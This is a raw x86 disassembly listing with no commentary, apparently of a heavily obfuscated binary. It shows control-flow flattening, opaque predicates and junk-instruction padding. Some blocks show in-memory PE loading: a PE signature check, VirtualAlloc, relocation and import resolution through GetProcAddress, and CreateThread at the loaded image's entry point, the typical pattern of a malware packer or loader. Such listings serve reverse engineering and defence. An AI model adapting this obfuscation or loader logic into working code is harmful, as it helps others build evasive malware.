mov esi, 0xd74b6a85
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne ah
sete al
cmp dword [0x4ba778], 0xa
setge dl
setl cl
mov ch, dl
mov ebx, edx
or dl, ah
and ch, al
xor al, cl
and cl, ah
xor bl, ah
xor dl, 1
or cl, ch
or dl, bl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
cmovne edi, esi
test cl, 1
mov esi, 0x5a2ea6
cmovne esi, edi
test al, al
cmove esi, edi
mov eax, esi
jmp 0x402100
mov eax, dword [0x4ba77c]
mov esi, 0x5f02664b
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x49baf3cd
and eax, 0xb6450c32
or edx, eax
mov ecx, edx
xor edx, 0x80410c22
xor ecx, 0x49baf3cd
mov eax, ecx
and edx, 0xc8cbcf2b
and eax, 0x373430d4
and ecx, 0x83a46ec0
or eax, edx
mov edx, eax
xor edx, 0x34101014
xor eax, 0xc8cbcf2a
and edx, 0x7c5b913f
and eax, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x7c5b913e
and edx, 0x83a46ec1
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5887140
and ecx, 0xfa778ebf
or ecx, eax
xor ecx, 0x5887140
setne ah
sete ch
cmp dword [0x4ba778], 0xa
setge al
setl dl
mov cl, al
and dl, ah
or cl, ch
and ch, al
xor cl, 1
or dl, ch
or cl, ch
mov ch, al
or al, ah
xor ch, ah
xor al, 1
mov ah, cl
or al, ch
xor ah, 1
xor al, 1
or al, dl
mov dl, ah
and dl, cl
xor al, 1
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, cl
xor dl, al
xor ah, al
or al, cl
xor al, 1
mov ecx, edx
or al, ah
xor cl, al
test al, 1
mov eax, 0x1d4569c2
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x1d4569c2
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x402100
mov eax, 0xb126746e
jmp 0x402100
mov eax, dword [0x4ba77c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x4975b502
and ecx, edx
not edx
and edx, 0x4975b502
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe5d2b6d8
and eax, 0x1a2d4927
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x4870018
xor esi, 0x5358fc25
xor ecx, 0xa70080
mov eax, esi
or eax, 1
and esi, 0xbb6893c7
and edx, 0x44976c38
and ecx, 0x52efb4a0
or edx, esi
mov esi, eax
and esi, 0xad104b5e
or ecx, esi
mov esi, edx
xor esi, 0x40872421
xor edx, 0xbb6893c6
or eax, edx
and edx, 0xad104b5e
and esi, 0x52efb4a1
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xcbd22edb
and eax, 0x72cba039
mov edx, ecx
and edx, 0x342dd124
or ecx, 0x5104400
or esi, edx
and ecx, 0x5105406
mov edx, esi
xor esi, 0x4004000
xor edx, 0x88000ac0
or eax, ecx
or esi, 0x1006
and edx, 0x88240bc0
and esi, 0x5105406
or edx, esi
mov esi, 0x85984f5b
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x8d344fc0
and ecx, 0x72cbb03f
or eax, ecx
sete dl
cmp dword [0x4ba778], 0xa
mov ecx, edx
setge ah
setl al
xor ah, dl
xor cl, al
or al, dl
xor ah, 1
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0xabc03c99
cmovne esi, eax
test dl, dl
mov eax, 0x85984f5b
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x4a38cf10
and eax, 0xb5c730ef
or eax, ecx
mov edx, eax
xor edx, 0x4a38cf10
mov esi, eax
xor esi, 0x21020
mov ecx, edx
or ecx, 0x223d21db
and esi, 0x48025020
mov edi, ecx
and edi, 0x97cc8e95
or esi, edi
mov edi, eax
xor eax, 0x97fa1134
xor edi, 0x11423082
and eax, edx
or edi, 1
and edx, 0xae8d807c
mov ebx, eax
not ebx
and eax, 0x6833716a
and edi, 0x51727f83
or ecx, ebx
and ebx, 0x97cc8e95
or edi, edx
or eax, ebx
not ecx
xor edi, 0x51727f83
xor eax, esi
mov esi, 0x97a938af
or ecx, eax
not eax
and eax, 0x223d21da
and ecx, 0xddc2de25
or ecx, eax
or edi, ecx
mov eax, edi
xor eax, 0xc8d12185
mov ecx, edi
not ecx
and eax, edi
or edi, 0x372ede7a
and ecx, 0x80512185
mov edx, edi
and edx, 0x5b82d82a
or ecx, edx
mov edx, eax
not edx
and eax, 0xa47d27d5
or edi, edx
and edx, 0x5b82d82a
or eax, edx
not edi
xor eax, ecx
or edi, eax
mov eax, edi
not eax
and edi, 0x5eaf520f
and eax, 0xa150adf0
or edi, eax
mov eax, edi
xor eax, 0x144c2082
xor edi, 0x28000455
and eax, 0x55cda8a2
and edi, 0xaa32575d
or edi, eax
xor edi, 0xaa32575d
sete dl
setne al
cmp dword [0x4ba778], 0xa
setge cl
setl ah
mov ch, cl
or cl, al
xor ch, al
xor al, ah
not al
and ch, dl
mov edx, ecx
and al, ah
xor dl, 1
or al, ch
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x6717d626
cmovne eax, esi
test dl, dl
mov edx, 0x6717d626
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402100
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x40]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8 + 8]
mov dword [ebp - 0xc8], eax
mov eax, 0x96b6691a
jmp 0x402100
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x4c]
lea ecx, [ecx + ecx*4]
mov ecx, dword [edx + ecx*8 + 0xc]
lea edx, [ebp - 0x1c]
add ecx, dword [ebp - 0x20]
push edx
push dword [ebp - 0xc4]
push dword [eax]
push ecx
vzeroupper
call fcn.00401a80
add esp, 0x10
mov eax, 0x7e8fab69
jmp 0x402100
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x148], eax
mov eax, 0x519f9c4d
jmp 0x402100
mov eax, 0xd33dc843
jmp 0x402100
cmp byte [ebp - 0x5a], 0
mov eax, 0xf8b4faf6
mov ecx, 0x8ff5c97
cmovne eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xec]
cmp ecx, dword [eax + 0x1c]
mov eax, 0x73dbfebb
mov ecx, 0xae5bd2fb
cmove eax, ecx
jmp 0x402100
mov eax, 0x6409a600
jmp 0x402100
mov eax, 0x18c11313
jmp 0x402100
mov eax, 0x802efb36
jmp 0x402100
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x48]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4 + 0x10]
mov dword [ebp - 0xc0], eax
mov eax, 0x87e0a3db
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x459d5dac
mov esi, eax
and esi, 0xba62a253
and eax, 0x8649eab
or edx, esi
mov edi, edx
xor edx, 0xa420002
xor edi, 0x51d0c24
or edx, 0xf0a0e359
and edi, 0x71d0c24
mov esi, edx
and esi, 0x484290c2
or edi, esi
mov esi, ecx
xor esi, 0xf5f1ca6
and esi, ecx
and ecx, 0xf79b6154
mov ebx, esi
not ebx
and esi, 0xb7bd6f3d
or eax, ecx
or edx, ebx
and ebx, 0x484290c2
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x76e493df
and esi, 0x891b6c20
or edx, esi
mov esi, edx
xor esi, 0x8208e28
xor edx, 0x86447087
mov edi, edx
and edi, 0xf79b6154
and esi, 0x8649eab
or esi, edi
xor eax, esi
mov esi, 0xf18a933f
not eax
or eax, edx
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x4ba778], 0xa
setge al
setl ch
mov edx, eax
or ch, cl
or al, ah
xor ch, 1
xor al, 1
xor dl, ah
or al, ch
and dl, ah
mov ecx, eax
mov ah, al
not cl
and cl, al
xor cl, 1
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor cl, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
not dl
test dl, 1
mov edx, 0x593434bc
cmovne edx, esi
test al, 1
mov eax, 0x593434bc
cmovne eax, edx
test cl, 1
cmovne eax, edx
jmp 0x402100
mov eax, 0xbef8819e
jmp 0x402100
mov dword [ebp - 0x24], 0
mov eax, 0x6133ca76
jmp 0x402100
mov ecx, dword [0x4ba77c]
mov edi, 0x27170f9e
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xa0710
mov ecx, edx
and ecx, 0x42b50001
and edx, 0xc56252c5
or esi, ecx
mov ecx, eax
and ecx, 0xbd40f8ee
and eax, 0x3a9dad3a
xor esi, 0xa0710
or eax, edx
or ecx, esi
mov edx, eax
xor edx, 0x3a9dad3a
xor eax, 0xc56252c5
mov esi, ecx
not esi
and ecx, 0xd15ab66a
and esi, 0x2ea54995
or ecx, esi
mov esi, ecx
xor esi, 0x93e5b17a
xor ecx, 0x6c1a4e85
and eax, esi
and edx, ecx
mov esi, 0x7fbc8bde
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x4ba778], 0xa
mov ebx, ecx
mov dh, ah
setge al
mov ch, al
xor bl, al
or dh, al
inc ch
mov dl, ch
and dl, al
xor ch, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
and dl, cl
xor ch, 1
and ch, ah
mov ah, bl
and ah, al
or al, cl
or dl, ch
xor ah, 1
xor al, 1
xor dl, 1
mov bh, ah
or ah, dh
or al, bl
mov ecx, edx
xor bh, dh
xor ah, 1
or dl, al
xor cl, al
or ah, bh
xor dl, 1
xor ah, 1
or dl, cl
mov cl, ah
xor ah, dl
or cl, dl
mov edx, ecx
xor dl, ah
test ah, 1
mov eax, 0x27170f9e
cmovne eax, esi
test cl, 1
cmovne eax, edi
test dl, 1
cmove eax, esi
jmp 0x402100
mov eax, 0xfeff6ce2
jmp 0x402100
mov ebx, dword [ebp - 0x3c]
mov ecx, ebx
not ecx
mov eax, ebx
and eax, 0x75992b7
mov edx, ecx
and edx, 0xd8a66d48
and ecx, 0x5a69f0ec
or eax, edx
mov edx, ebx
xor edx, 0xdfffffff
mov esi, eax
xor esi, 0x74012b7
xor eax, 0xf8a66d48
and edx, ebx
mov edi, eax
and edi, 0xe03bc548
and esi, 0x1fc43ab7
or esi, edi
mov edi, edx
not edi
and edx, 0x1fc43ab7
or eax, edi
and edi, 0xe03bc548
or edx, edi
not eax
xor edx, esi
mov esi, ebx
and esi, 0xa5960f13
or eax, edx
or esi, ecx
mov edx, eax
not edx
and eax, 0x4c580518
and edx, 0xb3a7fae7
or eax, edx
mov edx, eax
xor edx, 0x44400408
xor eax, 0xb3a7fae7
mov ecx, eax
and ecx, 0x8a9ee136
and edx, 0x75611ec9
or edx, ecx
mov ecx, esi
xor ecx, 0x25000e01
xor esi, 0x5a69f0ec
or eax, esi
and esi, 0x8a9ee136
and ecx, 0x75611ec9
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, dword [0x4ba77c]
cmp eax, 0xffffffff
setne byte [ebp - 0x59]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x407cd92c
and eax, 0x1e415006
mov edx, ecx
and edx, 0xbf8326d3
or ecx, 0x9022a0
or esi, edx
and ecx, 0xe1ba26b8
mov edx, esi
xor esi, 0x802280
xor edx, 0x48900
or eax, ecx
or esi, 0xe12a0418
and edx, 0x48941
and esi, 0xe1ba26b8
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x94abe1
and ecx, 0xff6b541e
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0x920f30b0
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x6df0cf4e
or eax, esi
mov esi, edx
not esi
and edx, 0x920f30b1
or ecx, esi
and esi, 0x6df0cf4e
or edx, esi
not ecx
mov esi, 0x2b295f9f
xor edx, eax
or ecx, edx
mov eax, ecx
xor eax, 0x37436487
and eax, ecx
not ecx
and ecx, 0x37436487
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5388619f
and ecx, 0xac779e60
or eax, ecx
mov ecx, eax
xor ecx, 0x4400108
xor eax, 0x9b34fae7
mov edx, eax
and edx, 0xea8f9ef1
and ecx, 0x1570610e
or ecx, edx
xor ecx, 0x1570610e
or ecx, eax
cmp ecx, 0xffffffff
sete cl
cmp dword [0x4ba778], 0xa
setge al
xor al, cl
and cl, al
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
mov edx, 0x1166e5eb
cmovne edx, esi
test al, al
mov eax, 0x1166e5eb
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x402100
mov eax, dword [0x4ba77c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xce940c85
mov eax, edx
and eax, 0xc940805
and ecx, edx
not edx
and edx, 0xc2000480
or eax, edx
mov edx, eax
xor edx, 0x840804
xor eax, 0xf36bf7fa
mov esi, eax
and esi, 0x1e182033
and edx, 0xc0840c84
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe1e7dfcc
or eax, esi
and esi, 0x1e182033
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x51b97800
and ecx, 0xae4687ff
or eax, ecx
mov edx, eax
xor edx, 0x8d294080
mov ecx, eax
mov esi, eax
xor ecx, 0x60d28b7a
xor esi, 0xad7bcaa0
xor eax, 0x8d0d0404
and esi, ecx
and edx, 0xcda941da
or ecx, 1
and eax, 0xed5f8556
or edx, esi
and ecx, 0x12a07aa9
mov esi, edx
not esi
and edx, 0xe75c77dd
or ecx, eax
and esi, 0x18a38822
xor ecx, 0x12a07aa9
or edx, esi
mov esi, 0x43ce6416
xor edx, 0xd50ac9f9
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x22865003
and eax, 0xdd79affc
or ecx, eax
mov eax, ecx
xor eax, 0x22865002
xor ecx, 0x9079a6e0
and eax, 0x6f86591e
and ecx, 0x9079a6e1
or ecx, eax
mov eax, ecx
xor eax, 0x3841116
xor ecx, 0x80212641
and ecx, 0xec236e49
and eax, 0x13dc91b6
or eax, ecx
xor eax, 0x13dc91b6
setne cl
sete dl
cmp dword [0x4ba778], 0xa
setl ah
setge ch
mov al, ah
and cl, ah
or ah, dl
and ch, dl
or cl, ch
xor ah, 1
xor al, dl
or ah, cl
mov dl, ah
mov cl, ah
xor dl, 1
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, dl
or dl, al
xor cl, al
xor dl, 1
xor cl, 1
or dl, ah
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x6d294be4
cmovne esi, eax
test dl, 1
mov edx, dword [ebp - 0x88]
mov eax, 0x43ce6416
cmovne eax, esi
test cl, 1
cmove eax, esi
mov dword [ebp - 0x130], edx
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xc252e329
mov edi, edx
mov esi, ecx
and esi, 0x2e761bac
and edi, 0x11890452
and edx, 0x79efe955
or edi, esi
mov esi, eax
xor esi, 0x3dad1cd6
and esi, eax
and eax, 0x861016aa
mov ebx, esi
not ebx
and esi, 0xd189e453
or eax, edx
or ecx, ebx
and ebx, 0x2e761bac
mov edx, eax
xor eax, 0x79efe955
xor edx, 0x861016aa
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x7301b4ce
and esi, 0x8cfe4b31
or ecx, esi
mov esi, ecx
xor esi, 0x4eaca819
xor ecx, 0xb15357e6
and eax, esi
and edx, ecx
mov esi, 0xcee232cb
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x4ba778], 0xa
mov dh, ah
setge cl
setl dl
mov al, cl
and ah, dl
and cl, ch
or dh, dl
or dl, ch
or cl, ah
mov ah, dl
or al, ch
xor dh, 1
xor cl, 1
xor al, 1
xor ah, cl
or cl, dl
or al, dh
xor cl, 1
xor al, 1
or cl, ah
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x17aa29d6
cmovne ecx, esi
test al, 1
mov eax, 0x17aa29d6
jmp 0x4020f0
mov eax, dword [0x4ba77c]
mov dword [ebp - 0x24], 1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
mov esi, ecx
or edx, 0x903d358c
and esi, 0x903d358c
and ecx, 0xcde3c507
mov edi, eax
and edi, 0x6fc2ca72
and edx, 0x903d358d
and eax, 0x321c3af8
or edi, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x321c3af8
mov edi, esi
and edi, 0xcde3c507
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x6a6cf2a9
xor eax, 0xffffffff
sete al
setne ah
cmp dword [0x4ba778], 0xa
setl cl
setge dl
mov ch, cl
and cl, ah
and ah, dl
and ch, al
and al, dl
or ch, ah
or cl, al
mov ah, ch
mov al, cl
xor ah, dl
xor al, 1
and ah, ch
mov edx, eax
and dl, ah
xor ah, 1
and cl, ah
or ah, al
or cl, dl
mov ch, ah
xor ch, cl
test ah, ah
mov eax, 0x2714598b
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, 1
mov ecx, 0x2714598b
cmove eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0x190]
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x5495ae1e
and edx, 0xab6a51e1
or edx, esi
mov esi, ecx
not esi
and ecx, 0xab6a51e1
or eax, esi
and esi, 0x5495ae1e
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x9cbcc9ee
and eax, 0xa8c9b4a7
mov ecx, esi
and esi, 0x63433611
or ecx, 0x40000000
or edx, esi
mov ebx, ecx
and ebx, 0x57364b58
mov edi, edx
xor edi, 0x888880a6
xor edx, 0x23433611
or eax, ebx
or ecx, edx
and edx, 0x57364b58
and edi, 0xa8c9b4a7
or edi, edx
not ecx
xor edi, eax
or ecx, edi
mov eax, ecx
not eax
and ecx, 0xf99d04d2
and eax, 0x662fb2d
or ecx, eax
mov eax, ecx
xor eax, 0x6029805
xor ecx, 0x499c0412
and ecx, 0x49fc673a
and eax, 0xb60398c5
or eax, ecx
mov ecx, 0xf8b4faf6
cmp eax, 0xb60398c5
mov eax, 0x4551341
cmove eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0x114]
mov esi, section..data
mov eax, dword [eax]
add eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x78]
mov edi, dword [ebp - 0x4c]
lea ecx, [ecx + ecx*4]
mov edx, dword [edi + ecx*8 + 0x14]
add edx, esi
push dword [edi + ecx*8 + 0x10]
push edx
push eax
vzeroupper
call fcn.0041e300
add esp, 0xc
mov eax, 0x41232576
jmp 0x402100
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xe0]
cmp dword [eax + ecx], 0x4550
lea edx, [eax + ecx]
mov eax, 0x4caed698
mov ecx, 0xfecd167f
mov dword [ebp - 0x28], edx
cmove eax, ecx
jmp 0x402100
mov eax, 0x5a2ea6
jmp 0x402100
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x174], eax
mov eax, 0xefea8694
jmp 0x402100
dec esi
not edi
imul ebx
or ebx, 0x18
mov edi, 0xfe
bswap ebx
inc esi
rcl ebx, 0x74
add esi, 4
imul ebx
bswap eax
not esi
or eax, 0xf3
imul esi
rcl eax, 2
sub ebx, 0x9f
imul edx
inc ebx
mov esi, 0x9e
sbb ebx, 0xcf
rcr eax, 0x75
mov esi, 0xa8
mov edx, 0x9e
bswap esi
sub eax, 0x65
imul esi
rcl ebx, 0x87
rol edi, 0x91
imul edx
not eax
neg edi
not ebx
or ebx, 0xfd
or ebx, 0x8b
bswap esi
rcr esi, 6
bswap eax
neg edx
rcl edx, 0x21
not edi
add ebx, 0xf1
imul edi
mov edi, 0xe2
dec edi
rol edi, 0xf9
rol edi, 0x39
ror eax, 0x60
mov edx, 0x45
bswap edx
dec ebx
dec esi
or eax, 0xd1
add esi, 0xf3
mov edx, 0x26
rcl eax, 0x78
ror edx, 0x80
bswap edx
bswap edi
and edx, 0x62
rcr edi, 0x5c
rol edx, 0x2e
dec esi
and edx, 0xed
mov eax, 0x47
sub edx, 0x9a
or edx, 0x53
bswap edx
rol eax, 0x8a
inc ebx
add eax, 0x3a
dec ebx
inc eax
or esi, 0x98
sub esi, 0x89
mov edi, 0x35
ror edi, 0x97
not ebx
inc esi
inc edi
dec edi
dec edx
ror edi, 0xd9
dec esi
bswap esi
dec edi
bswap edx
rcr ebx, 4
add edi, 8
rol eax, 0x56
rcl ebx, 0x77
not edx
neg edi
ror ebx, 0x7f
neg ebx
rcl esi, 0xa6
rol edx, 0x2e
sub esi, 0x31
mov edi, 0x59
inc eax
imul edx
inc esi
inc eax
inc ebx
imul edi
inc edi
bswap edx
rcr edi, 0xb6
sub eax, 0xe5
rcr edi, 0xbb
bswap ebx
bswap esi
sbb ebx, 0x3c
neg ebx
dec ebx
bswap eax
rcr edi, 0xe1
rcr eax, 0x39
dec edi
sbb eax, 0xc9
imul ebx
not edi
imul eax
dec edx
inc edi
add esi, 0x22
not eax
rcl eax, 0xf2
bswap edx
inc edx
bswap edi
rol esi, 0x96
imul edx
dec esi
or eax, 0x14
sbb ebx, 0xf
and edi, 6
rcl eax, 0xcc
bswap edi
imul edx
mov esi, 0x27
imul eax
imul eax
or eax, 0x8f
rol ebx, 0xa6
and eax, 0x4f
sbb eax, 0x64
add esi, 0x8c
sub ebx, 0
imul esi
neg edx
mov dword [ebp - 0x2c], eax
mov eax, 0x5fa0bf71
jmp 0x402100
push 4
push 0x3000
push dword [ebp - 0xe4]
push dword [ebp - 0x9c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [ebp - 0x14], 0
mov dword [ebp - 0x20], eax
mov eax, 0xae5bd2fb
mov ecx, 0x32ec843a
cmove eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x20]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, 0x190c8707
jmp 0x402100
cmp byte [ebp - 0x53], 0
mov eax, 0x3bab40d8
mov ecx, 0xb2d94ffe
cmovne eax, ecx
jmp 0x402100
mov edx, dword [ebp - 0x28]
mov ecx, dword [edx + 0xa4]
mov eax, dword [edx + 0xa0]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
test ecx, ecx
mov ecx, dword [0x4ba77c]
mov eax, dword [edx + 0x50]
setne byte [ebp - 0x51]
mov dword [ebp - 0xe4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x92f16ce4
and edx, 0x6d0e931a
or ecx, edx
mov edx, eax
xor edx, 0xfffffffe
mov esi, ecx
xor esi, 0x12a10ce0
xor ecx, 0x6d0e931b
and edx, eax
mov edi, ecx
and edi, 0xcc54621e
and esi, 0x33ab9de0
or esi, edi
mov edi, edx
not edi
and edx, 0x33ab9de1
or ecx, edi
and edi, 0xcc54621e
or edx, edi
not ecx
xor edx, esi
mov esi, 0xf087557b
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete ah
setne dl
cmp dword [0x4ba778], 0xa
setl ch
setge al
mov cl, ch
mov dh, ch
xor cl, dl
or dh, dl
not cl
and cl, dl
and dl, ch
mov ch, al
xor ch, ah
xor cl, 1
mov ebx, ecx
or cl, dh
and ch, al
and al, ah
or al, dl
xor bl, dh
xor cl, 1
or cl, bl
or al, ch
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x4fea11b7
cmovne ecx, esi
test al, 1
mov esi, 0x4fea11b7
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x74], eax
mov eax, 0x8e71436a
jmp 0x402100
mov eax, 0x67e3423a
jmp 0x402100
mov eax, 0x22c8a117
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x7109b8a
and eax, 0xc8400350
mov edx, ecx
and edx, 0xf8ef6475
or ecx, 0x3290a8a0
or esi, edx
and ecx, 0x37b9eca9
mov edx, esi
xor esi, 0x30802020
xor edx, 0x1002
or eax, ecx
or esi, 0x5294409
and edx, 0x61006
and esi, 0x37b9eca9
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x3296b8a6
and ecx, 0xcd694759
or eax, ecx
mov esi, eax
xor esi, 0x835b95b4
mov edx, eax
and edx, 0xe8c57865
and esi, eax
not eax
and eax, 0x173a879a
or edx, eax
mov ecx, edx
xor ecx, 0xe8c57865
xor edx, 0x1028618
mov eax, ecx
and eax, 0x835b95b4
and edx, 0xe1c2fe18
or eax, esi
not esi
and esi, 0x7ca46a4a
and eax, 0x835b95b5
or eax, esi
mov esi, ecx
and esi, 0x1e3d01e7
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x21020601
xor esi, 0x1c250044
or ecx, edx
mov edx, eax
and esi, 0xdce5f85c
not edx
and eax, 0x72d754d9
and ecx, 0x231a07a3
or ecx, esi
mov esi, edx
and esi, 0x8d28ab26
or eax, esi
mov esi, ecx
xor esi, 0x22120481
xor ecx, 0xdce5f85c
or edx, ecx
and ecx, 0x8d28ab26
and esi, 0x72d754d9
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, 0x8f695807
mov eax, edx
not eax
and edx, 0x55375c2
and eax, 0xfaac8a3d
or edx, eax
mov eax, edx
xor eax, 0x4354c2
xor edx, 0x3a288208
and edx, 0x3f38a308
and eax, 0xc0c75cf7
or eax, edx
mov ecx, eax
xor ecx, 0x3a200000
xor eax, 0xc0c75cf7
mov edx, eax
and edx, 0x45dab36e
and ecx, 0xba254c91
or ecx, edx
xor ecx, 0x45dab36e
xor eax, ecx
test eax, ecx
setne cl
sete dl
cmp dword [0x4ba778], 0xa
setl al
setge ah
and cl, al
and ah, dl
or al, dl
or cl, ah
mov ah, al
mov edx, ecx
xor dl, 1
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, al
not ah
and ah, dl
mov edx, ecx
xor dl, al
and al, cl
or al, ah
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x4ecc4055
cmovne eax, esi
test dl, dl
mov edx, 0x4ecc4055
cmove eax, edx
test cl, 1
cmovne eax, esi
jmp 0x402100
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x68]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [ebp - 0x92], ax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, 0xdf6ffc83
jmp 0x402100
mov eax, dword [ebp - 0x174]
add eax, 2
push eax
push dword [ebp - 0xa0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x98], eax
mov eax, 0x8e4858e8
jmp 0x402100
inc eax
rcl edx, 0x9e
sbb edi, 0x37
bswap edi
not ebx
neg eax
bswap esi
rcr esi, 0x47
dec edx
rcl eax, 0x59
add edx, 0xfa
imul edx
inc esi
inc edx
bswap edi
dec edi
inc esi
dec edx
not eax
inc ebx
rcr esi, 0xf5
sub eax, 0xbe
or edi, 0xcc
inc ebx
rcr edi, 0x96
add eax, 0x88
add esi, 0x95
mov edi, 0x6c
not edi
or ebx, 0xd0
rcr eax, 0xcc
and esi, 0xae
imul edi
add eax, 0x12
rol edx, 0xc3
sbb ebx, 0xc4
inc edx
imul edi
dec esi
rol eax, 0x5c
and eax, 0x3c
not edx
inc eax
rol edi, 0xb6
rcr edi, 0xb0
add esi, 0x83
or eax, 0xbf
